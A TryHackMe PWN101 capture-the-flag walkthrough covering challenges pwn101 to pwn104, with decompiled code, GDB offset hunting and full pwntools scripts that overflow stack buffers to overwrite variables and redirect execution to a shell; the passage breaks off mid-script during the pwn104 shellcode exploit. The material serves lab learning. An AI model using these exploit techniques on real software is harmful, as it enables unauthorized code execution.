[TryHackMe] PWN101 Solutions: pwn101 - pwn105

PWN101 Room Brief

Prerequisites

Before jumping into this room, there are some prerequisites to complete the challenges:
- C programming language
- Assembly language (basics)
- Some experience in reverse engineering, using debuggers, understanding low-level concepts
- Python scripting and pwntools
- A lot of patience

These are the things you're going to learn in this room:
- Buffer overflow
- Modify variable's value
- Return to win
- Return to shellcode
- Integer Overflow
- Format string exploit
- Bypassing mitigations
- GOT overwrite
- Return to PLT
- Playing with ROP


Challenge Solutions:



pwn101 Solution

Disassembly:

int32_t main (void) {
    char * s;
    unsigned long long var_ch;
    var_ch = data.00000539;
    eax = 0;
    setup ();
    eax = 0;
    banner ();
    puts ("Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have low memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can you help me to buy those items :D\n");
    puts ("Type the required ingredients to make briyani: ");
    rax = &s;
    rdi = rax;
    eax = 0;
    gets ();
    if (var_ch == data.00000539) {
        puts ("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
        exit (data.00000539);
    }
    puts ("Thanks, Here's a small gift for you <3");
    rdi = "/bin/sh";
    system ();
    return rax;
}

At the start of the main() function a variable var_ch is defined and assigned some value. It then prompts the user to enter the ingredients for a recipe. It uses the gets() function to receive user input and store it. The gets() function is strongly advised against because it has no bounds checking when writing input into a buffer, which can lead to a buffer overflow.

After receiving input from the user, it checks to see if the variable var_ch still contains the original value data.00000539. If it does, then it outputs a message and exits however if the value is not the same as the original value, then it outputs “Thanks, Here’s a small gift for you <3” and spawns a shell.

To solve this challenge, we need to overwrite the value of var_ch with anything that is not the original value.

Dump of assembler code for function main:
   0x000000000000088e <+0>:	push   rbp
   0x000000000000088f <+1>:	mov    rbp,rsp
   0x0000000000000892 <+4>:	sub    rsp,0x40
   0x0000000000000896 <+8>:	mov    DWORD PTR [rbp-0x4],0x539            <--- var_ch variable located at rbp-0x4
   0x000000000000089d <+15>:	mov    eax,0x0
   0x00000000000008a2 <+20>:	call   0x81a <setup>
   0x00000000000008a7 <+25>:	mov    eax,0x0
   0x00000000000008ac <+30>:	call   0x87b <banner>
   0x00000000000008b1 <+35>:	lea    rdi,[rip+0x208]        # 0xac0
   0x00000000000008b8 <+42>:	call   0x6b0 <puts@plt>
   0x00000000000008bd <+47>:	lea    rdi,[rip+0x2dc]        # 0xba0
   0x00000000000008c4 <+54>:	call   0x6b0 <puts@plt>
   0x00000000000008c9 <+59>:	lea    rax,[rbp-0x40]                   <--- gets() writes to buffer located at rbp-0x40
   0x00000000000008cd <+63>:	mov    rdi,rax
   0x00000000000008d0 <+66>:	mov    eax,0x0
   0x00000000000008d5 <+71>:	call   0x6d0 <gets@plt>
   0x00000000000008da <+76>:	cmp    DWORD PTR [rbp-0x4],0x539

The defined buffer that gets() writes to is 0x40 (64) bytes. The location of the buffer is rbp-0x40 and the location of the var_ch variable is rbp-0x4, 0x40 - 0x4 = 0x3c (60). To overwrite the var_ch variable, we just need to send over 60 bytes of input.

Exploit (manual):

$ (perl -e 'print "A"x61'; cat;) | ./pwn101 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 

Thanks, Here's a small gift for you <3
ls
exploit.py  pwn101

Exploit (pwntools):

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./pwn101", checksec=False)
context.log_level = "CRITICAL"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

# Exploitation code
offset = 61
buffer = b"A"*offset

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

#~~~< Exploit Code Here >~~~#
p.sendline(buffer)
p.interactive()

# Close connection
p.close()
$ python3 exploit.py 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 
Thanks, Here's a small gift for you <3
$ ls
exploit.py  pwn101

Remote Exploitation:

$ python3 exploit.py REMOTE HOST=$IP PORT=9001
[+] Opening connection to XX.XX.XX.XX on port 9001: Done
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 
Thanks, Here's a small gift for you <3
$ whoami
pwn101
$ cat flag.txt
THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}


pwn102 Solution

Disassembly:

int32_t main (void) {
    int64_t var_78h;
    unsigned long long var_10h;
    unsigned long long var_ch;
    eax = 0;
    setup ();
    eax = 0;
    banner ();
    var_ch = 0xbadf00d;
    var_10h = 0xfee1dead;
    edx = 0xfee1dead;
    eax = var_ch;
    esi = var_ch;
    eax = 0;
    printf ("I need %x to %x\nAm I right? ");
    rax = &var_78h;
    rsi = rax;
    rdi = data_00000b66;
    eax = 0;
    isoc99_scanf ();
    if (var_ch == 0xc0ff33) {
        if (var_10h == 0xc0d3) {
            edx = var_10h;
            eax = var_ch;
            esi = var_ch;
            eax = 0;
            printf ("Yes, I need %x to %x\n");
            rdi = "/bin/sh";
            system ();
        }
    } else {
        puts ("I'm feeling dead, coz you said I need bad food :(");
        exit (data.00000539);
    }
    return rax;
}

At the start of the main() function, two variable are defined. The variable var_ch is assigned the value 0xbadf00d and the variable var_10h is assigned the value 0xfee1dead.

It outputs the string “I need badf00d to fee1dead Am I right?” before allowing the user to provide some input. After user input has been received, it checks to see if the value of var_ch is 0xc0ff33 and if the value of var_10h is 0xc0d3. If both values match the comparisons, then it outputs “Yes, I need c0ff33 to c0d3” and spawns a shell. Otherwise, it will output a message and exit.

To solve this challenge, we need to overwrite both variable values with the values that they are compared against, var_ch should be overwritten with 0xc0ff33 and var_10h should be overwritten with 0xc0d3.

Dump of assembler code for function main:
   0x00000000000008fe <+0>:	push   rbp
   0x00000000000008ff <+1>:	mov    rbp,rsp
   0x0000000000000902 <+4>:	sub    rsp,0x70                         <--- Subtract 0x70 (112) bytes for buffer
   0x0000000000000906 <+8>:	mov    eax,0x0
   0x000000000000090b <+13>:	call   0x88a <setup>
   0x0000000000000910 <+18>:	mov    eax,0x0
   0x0000000000000915 <+23>:	call   0x8eb <banner>
   0x000000000000091a <+28>:	mov    DWORD PTR [rbp-0x4],0xbadf00d    <--- var_ch is at rbp-0x4
   0x0000000000000921 <+35>:	mov    DWORD PTR [rbp-0x8],0xfee1dead   <--- var_10h is at rbp-0x8
   0x0000000000000928 <+42>:	mov    edx,DWORD PTR [rbp-0x8]
   0x000000000000092b <+45>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000000092e <+48>:	mov    esi,eax
   0x0000000000000930 <+50>:	lea    rdi,[rip+0x212]        # 0xb49
   0x0000000000000937 <+57>:	mov    eax,0x0
   0x000000000000093c <+62>:	call   0x730 <printf@plt>
   0x0000000000000941 <+67>:	lea    rax,[rbp-0x70]                   <--- scanf() writes to buffer at rbp-0x70
   0x0000000000000945 <+71>:	mov    rsi,rax
   0x0000000000000948 <+74>:	lea    rdi,[rip+0x217]        # 0xb66
   0x000000000000094f <+81>:	mov    eax,0x0
   0x0000000000000954 <+86>:	call   0x750 <__isoc99_scanf@plt>

The buffer that scanf() writes to is 0x70 (112) bytes large located at rbp-0x70, the variable var_ch (0xbadf00d) is located at rbp-0x4 and the variable var_10h (0xfee1dead) is located at rbp-0x8.

We can calculate the amount of data we need to send before overwriting the first variable on the stack var_10h by subtracting 0x8 from 0x70 which equals 104 in decimal. So, we need to send 104 bytes of junk, then the new value for var_10h (0xc0d3) and then the new value for var_ch (0xc0ff33). We can prove this by using GDB GEF.

gef➤  patt cr 200                  <--- Generate a unique cyclic pattern
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'

gef➤  b *main+91
Breakpoint 1 at 0x555555400959     <--- Set a breakpoint at the first comparison

gef➤  r
Starting program: ./pwn102 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

gef➤  x/10s $rbp-0x8              <--- Find the string located at rbp-0x8
0x7fffffffdcb8:	"naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
gef➤  x/10s $rbp-0x4              <--- Find the string located at rbp-0x4
0x7fffffffdcbc:	"aaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"

gef➤ patt off naaaaaaaoaaaaaaapaaaaa
[+] Searching for '616161616170616161616161616f616161616161616e'/'6e616161616161616f61616161616161706161616161' with period=8
[+] Found at offset 104 (big-endian search)     <--- Calculates that the offset before overwriting var_10h is 104 bytes

gef➤  patt off aaaaoaaaaaaapaaaaaaaqa
[+] Searching for '61716161616161616170616161616161616f61616161'/'616161616f6161616161616170616161616161617161' with period=8
[+] Found at offset 108 (big-endian search)

Exploit (manual):

$ (perl -e 'print "A"x104 . "\xd3\xc0\x00\x00" . "\x33\xff\xc0\x00"'; cat;) | ./pwn102 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? 
Yes, I need c0ff33 to c0d3
ls
exploit.py  pwn102

Exploit (pwntools):

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./pwn102", checksec=False)
context.log_level = "CRITICAL"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

# Exploitation code
offset = 104
buffer = b"A"*offset
buffer += p32(0xc0d3)
buffer += p32(0xc0ff33)

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

#~~~< Exploit Code Here >~~~#
p.sendline(buffer)
p.interactive()

# Close connection
p.close()

Remote Exploitation:

$ python3 exploit.py REMOTE HOST=$IP PORT=9002
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
$ whoami
pwn102
$ cat flag.txt
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}


pwn103 Solution

Disassembly:

main()

void main(void)
{
    int64_t var_ch;
    
    setup();
    banner();
    puts("➖➖➖➖➖➖➖➖➖➖➖");
    puts(data.004032c0);
    puts("➖➖➖➖➖➖➖➖➖➖➖");
    printf(data.00403323);
    __isoc99_scanf(data.00403340, &var_ch);
    // switch table (6 cases) at 0x403344
    switch((undefined4)var_ch) {
    default:
        main();
        break;
    case 1:
        announcements();
        break;
    case 2:
        rules();
        break;
    case 3:
        general();
        break;
    case 4:
        discussion();
        break;
    case 5:
        bot_cmd();
    }
    return;
}

general()

void general(void)
{
    int32_t iVar1;
    char *s1;
    
    puts(data.004023aa);
    puts("------[jopraveen]: Hello pwners 👋");
    puts("------[jopraveen]: Hope you\'re doing well 😄");
    puts("------[jopraveen]: You found the vuln, right? 🤔\n");
    printf("------[pwner]: ");
    __isoc99_scanf(data.0040245c, &s1);
    iVar1 = strcmp(&s1, data.0040245f);
    if (iVar1 == 0) {
        puts("------[jopraveen]: GG 😄\n");
        main();
    } else {
        puts("Try harder!!! 💪");
    }
    return;
}

admins_only()

void admins_only(void)
{
    puts(data.00403267);
    puts("Welcome admin 😄");
    system("/bin/sh");
    return;
}

The main() function outputs a menu allowing the user to choose which function of the binary to call. The general() function outputs some messages before prompting the user to enter their own message. It compares the user’s message against a fixed string and if the strings match, then another message saying “GG” is printed. We can find the comparison string using multiple methods but an easy way is to use ltrace.

$ ltrace ./pwn103
{SNIPPED}
puts("------[jopraveen]: Hello pwners "...------[jopraveen]: Hello pwners 👋)                                                           = 37
puts("------[jopraveen]: Hope you're d"...------[jopraveen]: Hope you're doing well 😄)                                                           = 47
puts("------[jopraveen]: You found the"...------[jopraveen]: You found the vuln, right? 🤔)                                                           = 52
printf("------[pwner]: "------[pwner]: )                      = 15
__isoc99_scanf(0x40245c, 0x7ffd67e1ed30, 0, 0test
)                                                             = 1
strcmp("test", "yes")               <--- out input "test" is compared against the string "yes"
puts("Try harder!!!"Try harder!!! 💪

Although this does not help as all it does it print out “GG” if the strings match. The vulnerability is the use of scanf() as if it is not implemented correctly it can cause a buffer overflow as there is no bounds checking, similar to the gets() function.

Finally, the admins_only() function spawns a shell when called, however there is no direct option to call this function. Instead we must find a way to call it, such as by overwriting the instruction pointer with the address of admins_only() by exploiting a buffer overflow.

Binary Protections (checksec):

$ checksec ./pwn103
[*] './pwn103'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

There is no canary so a buffer overflow is easily achievable, no PIE so the addresses for functions and variables are always located at the same memory locations when the binary is run, but the NX (Non Executable Stack) bit is set, so we cannot use shellcode.

Finding the offset:

gef➤  patt cr 200
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'

gef➤  r
Starting program: ./pwn103 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

  [THM Discord Server]

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨️  Choose the channel: 3

🗣  General:

------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔

------[pwner]: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x13              
$rbx   : 0x0               
$rcx   : 0x00007ffff7f9f790  →  0x0000000000000000
$rdx   : 0x00007ffff7f9f790  →  0x0000000000000000
$rsp   : 0x00007fffffffdca8  →  "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)
$rsi   : 0x00007ffff7f9e643  →  0xf9f790000000000a ("\n"?)
$rdi   : 0x0               
$rip   : 0x0000000000401377  →  <general+00b9> ret 
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x202             
$r12   : 0x00007fffffffdde8  →  0x00007fffffffe15c  →  "./pwn103"
$r13   : 0x1               
$r14   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2f0  →  0x0000000000000000
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdca8│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"	 ← $rsp
0x00007fffffffdcb0│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007fffffffdcb8│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaana[...]"
0x00007fffffffdcc0│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa[...]"
0x00007fffffffdcc8│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapa[...]"
0x00007fffffffdcd0│+0x0028: "kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqa[...]"
0x00007fffffffdcd8│+0x0030: "laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaara[...]"
0x00007fffffffdce0│+0x0038: "maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasa[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401370 <general+00b2>   call   0x401040 <puts@plt>
     0x401375 <general+00b7>   nop    
     0x401376 <general+00b8>   leave  
 →   0x401377 <general+00b9>   ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn103", stopped 0x401377 in general (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401377 → general()

gef➤  patt off faaaaaaagaaaaaa             <--- Locating the offset using the string that rsp was overwritten with
[+] Searching for '616161616161676161616161616166'/'666161616161616167616161616161' with period=8
[+] Found at offset 40 (big-endian search)

The offset until we overwrite the rip is 40 bytes. So, we need to send 40 bytes of junk and then the address of the admins_only() function.

Exploit (pwntools):

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./pwn103", checksec=False)
context.log_level = "INFO"

# Get the LIBC used for the binary
libc = binary.libc

gdb_script = """
continue
"""

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(args.HOST or exit("[!] Provide a Remote IP."), int(args.PORT or exit("[!] Provide a Remote Port.")))

    elif args.GDB:
        return gdb.debug([binary.path] + argv, gdbscript=gdb_script, *a, **kw)

    else:
        return process([binary.path] + argv, *a, **kw)

# Exploitation code
offset = 40
buffer = b"A"*offset
buffer += p64(binary.sym["admins_only"] + 0x8)  # The address of admins_only() plus 8 bytes - more reliable exploitation

# Start connection (LOCAL, REMOTE, or GDB)
p = start()

#~~~< Exploit Code Here >~~~#
p.sendlineafter(b"channel: ", b"3")     # Send "3" to enter the general() function
p.sendlineafter(b"[pwner]: ", buffer)   # Send the buffer overflow payload when prompted for input

p.interactive()

# Close connection
p.close()
$ python3 exploit.py 
Try harder!!! 💪

👮  Admins only:

Welcome admin 😄
$ ls
exploit.py  pwn103

Remote Exploitation:

$ python3 exploit.py REMOTE HOST=$IP PORT=9003
[+] Opening connection to XX.XX.XX.XX on port 9003: Done
[*] Switching to interactive mode
Try harder!!! 💪

👮  Admins only:

Welcome admin 😄
$ whoami
pwn103
$ cat flag.txt
THM{XXXXXXXXXXXXX}


pwn104 Solution

Disassembly:

void main(void)
{
    void *buf;
    
    setup();
    banner();
    puts("I think I have some super powers 💪");
    puts("especially executable powers 😎💥\n");
    puts("Can we go for a fight? 😏💪");
    printf("I\'m waiting for you at %p\n", &buf);
    read(0, &buf, 200);
    return;
}

The main() function outputs a few strings and a string which leaks the address of the buffer which the read() call writes to. The read() call reads 200 bytes of user input and writes it into the buffer.

0x00000000004011cd <+0>:	push   rbp
0x00000000004011ce <+1>:	mov    rbp,rsp
0x00000000004011d1 <+4>:	sub    rsp,0x50

The size of the buffer is 0x50 (80) bytes large, so the read() function writing 200 bytes of user input into it will overflow the buffer and possibly allow us to overwrite the return address.

Binary Protections (checksec):

$ checksec ./pwn104
[*] './pwn104'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

The binary has no canary, no PIE and the stack is executable, this means that we can place shellcode on the stack and return or jump to it to execute it.

Finding the offset:

gef➤  patt cr 200
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'

gef➤  r
Starting program: ./pwn104 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at 0x7fffffffdc70
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xc8              
$rbx   : 0x0               
$rcx   : 0x00007fffffffdde8  →  0x00007fffffffe15c  →  "./pwn104"
$rdx   : 0x0               
$rsp   : 0x00007fffffffdcc8  →  "laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaara[...]"
$rbp   : 0x616161616161616b ("kaaaaaaa"?)
$rsi   : 0x00007fffffffdc70  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rdi   : 0x0               
$rip   : 0x000000000040124e  →  <main+0081> ret 
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x202             
$r12   : 0x00007fffffffdde8  →  0x00007fffffffe15c  →  "./pwn104"
$r13   : 0x1               
$r14   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2f0  →  0x0000000000000000
$r15   : 0x0               
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdcc8│+0x0000: "laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaara[...]"	 ← $rsp
0x00007fffffffdcd0│+0x0008: "maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasa[...]"
0x00007fffffffdcd8│+0x0010: "naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaata[...]"
0x00007fffffffdce0│+0x0018: "oaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaaua[...]"
0x00007fffffffdce8│+0x0020: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
0x00007fffffffdcf0│+0x0028: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffdcf8│+0x0030: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffdd00│+0x0038: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401247 <main+007a>      call   0x401050 <read@plt>
     0x40124c <main+007f>      nop    
     0x40124d <main+0080>      leave  
 →   0x40124e <main+0081>      ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn104", stopped 0x40124e in main (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40124e → main()

gef➤  patt off laaaaaaamaaaaaaanaaaa
[+] Searching for '616161616e616161616161616d616161616161616c'/'6c616161616161616d616161616161616e61616161' with period=8
[+] Found at offset 88 (big-endian search)

To exploit this binary, we need to send shellcode in our input that we want to be executed, then overwrite the rip with the leaked address of the buffer to jump to the shellcode.

I used this shellcode which is 30 bytes long. The offset until we overwrite the rip is 88 bytes. 88 - 30 = 58. I then used 8 bytes of NOP (\x90) between the shellcode and the junk data to ensure that the shellcode executes successfully and does not crash when it reaches the end of the shellcode and tries to execute the junk data I sent.

Exploit (pwntools):

#!/usr/bin/env python3

from pwn import *

# Set the binary context to the local binary
context.binary = binary = ELF("./pwn104", checksec=False)
